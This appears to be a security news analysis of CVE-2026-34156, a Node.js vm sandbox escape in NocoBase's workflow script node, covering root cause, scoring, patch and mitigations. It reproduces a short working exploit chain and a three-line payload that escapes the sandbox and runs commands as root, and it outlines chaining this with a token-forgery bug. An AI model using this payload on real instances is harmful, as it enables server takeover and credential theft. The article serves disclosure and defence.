CVE-2026-34156 is a CVSS 10.0 sandbox escape in NocoBase's Workflow JavaScript node. An authenticated attacker reaches the host-realm Function constructor through console._stdout.constructor.constructor, loads child_process, and executes arbitrary commands as root. NocoBase patched the vulnerability in version 2.0.28 on March 27, 2026.
NocoBase is an open-source no-code/low-code platform for building business applications, built on Node.js, React, and Koa. The project has over 22,000 GitHub stars. Its Workflow engine includes a JavaScript Script Node (@nocobase/plugin-workflow-javascript) that lets users execute custom Node.js scripts. The script node runs in a worker thread and provides a require function restricted to modules listed in the WORKFLOW_SCRIPT_MODULES environment variable.
Script Node documentation says global, process, __dirname, and __filename are unavailable. The require allowlist was supposed to be the security boundary. Users can only load modules listed in WORKFLOW_SCRIPT_MODULES. It was not enough.
The vulnerable code
NocoBase's Script Node uses Node.js's built-in vm module to create a sandboxed execution context. Before execution, it sets up a sandbox with a custom require function. A console object is injected so that console.log() statements produce output in workflow logs.
The root cause is that the injected console is the standard Node.js console, a host-realm object. In Node.js, console._stdout and console._stderr are WritableWorkerStdio stream objects belonging to the host realm. These carry their full prototype chain, including the constructor property that leads back to the host-realm Function constructor.
Thevmmodule's own documentation warns it should not be used as a security sandbox. Any host-realm object passed into avmcontext provides a potential escape through prototype chain traversal. NocoBase'srequireallowlist protected against direct module loading but did nothing to prevent traversal on objects already inside the sandbox.
The attack chain
Security researcher 2013xile published the full exploitation chain in GHSA-px3p-vgh9-m57c on March 28, 2026. The attack requires an authenticated account with workflow creation or modification permissions.
The attacker creates a workflow with a JavaScript Script Node. Inside the script body, they access console._stdout, a WritableWorkerStdio object from the host realm. Calling .constructor yields the WritableWorkerStdio constructor. Calling .constructor again yields the host-realm Function constructor.
// Step 1: Traverse prototype chain to reach host Function constructor
const HostFunction = console._stdout.constructor.constructor;
// Step 2: Escape sandbox — get host process object
const proc = HostFunction('return process')();
// Step 3: Load unrestricted module
const cp = proc.mainModule.require('child_process');
// Step 4: Execute commands as root
const result = cp.execSync('id').toString();
// uid=0(root) gid=0(root) groups=0(root)
return result;
Once obtained, the host-realm Function constructor creates functions that execute in the host context. Function('return process')() returns the Node.js process global. From there, process.mainModule.require('child_process') bypasses the WORKFLOW_SCRIPT_MODULES allowlist entirely.
In NocoBase's default Docker deployment, the process runs as root (uid=0).
The complete payload fits in three lines.
const proc = console._stdout.constructor.constructor('return process')();
const cp = proc.mainModule.require('child_process');
return cp.execSync('id').toString();
Impact
Successful exploitation gives the attacker root-level command execution inside the Docker container. The advisory lists database credential theft via process.env (including DB_PASSWORD and INIT_ROOT_PASSWORD), full filesystem access, and network access to other infrastructure.
Classification is CWE-913 (Improper Control of Dynamically-Managed Code Resources). CVSS 3.1 vector is AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H. The Scope metric is Changed because the sandbox escape crosses a security boundary. Attack complexity is low and no user interaction is required.
The patch
PR #8967 by @mytharcher was merged on March 27, 2026. NocoBase released version 2.0.28 the same day. The exact diff was not publicly accessible at the time of this analysis due to GitHub fetch limitations.
Context and parallels
This vulnerability belongs to a well-documented class of Node.js vm sandbox escapes via prototype chain traversal. The n8n sandbox escapes (CVE-2026-33660, CVSS 9.4) followed the same pattern. n8n fixed it by migrating to isolated-vm, a V8-level isolate with true memory isolation.
The popular vm2 library hit the same wall. CVE-2023-37466 (CVSS 9.8) was a sandbox escape that led to the project's end-of-life. CVE-2026-22709, published in January 2026, demonstrated the problem persists even in abandoned code still present in dependency trees.
Theconsoleobject is a particularly common escape vector because developers need logging in sandboxed scripts, and the standardconsolecarries references to host I/O streams. The pattern is consistent across NocoBase, n8n, and vm2. Any host-realm object passed into avmsandbox is a potential escape path.
NocoBase's security track record
NocoBase has faced other critical vulnerabilities recently. CVE-2025-13877 allowed unauthenticated attackers to forge admin JWT tokens on instances deployed with the default Docker docker-compose configuration. That vulnerability was patched in version 1.9.23.
An attacker who finds an unpatched NocoBase Docker instance could chain the two. Forge an admin token via CVE-2025-13877, then execute commands as root via CVE-2026-34156.
Update NocoBase to version 2.0.28 or later. If the JavaScript Script Node is not needed, disable @nocobase/plugin-workflow-javascript entirely. If a pre-patch instance was accessible to untrusted users with workflow permissions, rotate DB_PASSWORD, INIT_ROOT_PASSWORD, and all other credentials in environment variables.
Restrict workflow creation and editing permissions to fully trusted users only. NocoBase runs as root in its default Docker configuration, so running the container with a non-root user limits the damage from future sandbox escapes.
Have a story? Become a contributor.
We work with independent researchers and cybersecurity professionals. Send us a tip or submit your article for editorial review.